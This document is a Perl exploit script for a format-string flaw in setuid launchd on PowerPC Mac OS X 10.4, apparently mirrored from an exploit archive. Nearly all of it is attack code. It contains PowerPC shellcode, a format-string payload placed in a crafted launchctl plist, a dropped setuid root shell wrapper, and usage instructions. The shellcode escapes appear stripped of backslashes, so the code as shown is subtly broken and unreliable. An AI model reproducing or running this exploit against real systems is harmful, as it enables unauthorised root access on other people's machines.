#!/usr/bin/perl
#
# http://www.digitalmunition.com/FailureToLaunch-ppc.pl
# Code by Kevin Finisterre kf_lists[at]digitalmunition[dot]com
#
# Much appreciation goes to John H for all kindsa random shit like exploiting Veritas and other random things in the past
#
# core... where the hell are you fool. 
#
# This is just a vanilla format string exploit for OSX on ppc. We overwrite a saved return addy with our shellcode address.
# This code currently overwrites a saved return addy with the stack location of our seteuid() / execve() shellcode.
#
# This exploit will create a malicious .plist file for you to use with launchctl
# kevin-finisterres-mac-mini:~ kfinisterre$ launchctl load ./com.pwnage.plist
#
# In theory I guess you could also drop this in ~/Library/LaunchAgents
# 
# This was tested against OSX 10.4.6 8l127 on a 1.25GHz PowerPC G4 and a
# 500mhz PowerPC G3 running 10.4 8A428
# 
# kevin-finisterres-mac-mini:~ kfinisterre$ ls -al /sbin/launchd
# -rwsr-sr-x   1 root  wheel  80328 Feb 19 04:09 /sbin/launchd
# kevin-finisterres-mac-mini:~ kfinisterre$ file /sbin/launchd
# /sbin/launchd: setuid setgid Mach-O executable ppc
#
# ./src/SystemStarter.c:374:              syslog(level, buf);
#
# http://developer.apple.com/documentation/Security/Conceptual/SecureCodingGuide/Articles/AccessControl.html
# "Because launchd is a critical system component, it receives a lot of peer review by in-house developers at Apple. 
#  It is less likely to contain security vulnerabilities than most production code."
# 

foreach $key (keys %ENV) {

    delete $ENV{$key};

}

#// ppc execve() code by b-r00t + nemo to add seteuid(0)
$sc = 
"x7cx63x1ax79" . 
"x40x82xffxfd" . 
"x39x40x01xc3" . 
"x38x0axfexf4" . 
"x44xffxffx02" . 
"x39x40x01x23" . 
"x38x0axfexf4" . 
"x44xffxffx02" .
"x60x60x60x60" . 
"x7cxa5x2ax79x40x82xffxfd" . 
"x7dx68x02xa6x3bxebx01x70" .
"x39x40x01x70x39x1fxfexcf" .
"x7cxa8x29xaex38x7fxfexc8" .
"x90x61xffxf8x90xa1xffxfc" .
"x38x81xffxf8x38x0axfexcb" .
"x44xffxffx02x7cxa3x2bx78" .
"x38x0axfex91x44xffxffx02" .
"x2fx74x6dx70x2fx73x68x58";

$writeaddr = 0xbffffcf8; # Saved Return addy from frame 3 
$ENV{"TERM_PROGRAM"} = "-" . pack('l', $writeaddr) . pack('l', $writeaddr+2) . "iiii" x 1 . $sc ;

$format =   
# make it more robust yourself... I'm lazy
# 0xbfff fe70
"%" . 0xbfff . "d%112$hn" .
"%" . 0x3ed9 . "d%113$hn" ;

open(SUSH,">/tmp/aaa.c");
printf SUSH "int main(){seteuid(0);setuid(0);setgid(0);system("/bin/sh");}n";
system("PATH=$PATH:/usr/bin/ cc -o /tmp/sh /tmp/aaa.c");

open(PWNED,">com.pwnage.plist");   

print PWNED "<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>Label</key>
	<string>" . "$format" .
	"</string>
	<key>ProgramArguments</key>
	<array>
		<string>http://www.digitalmunition.com</string>
	</array>
	<key>RunAtLoad</key>
	<true/>
</dict>
</plist>n";
close(PWNED);
print "open a new window and type - "launchctl load ./com.pwnage.plist"n";
system("/sbin/launchd");

# www.Syue.com [2006-07-01]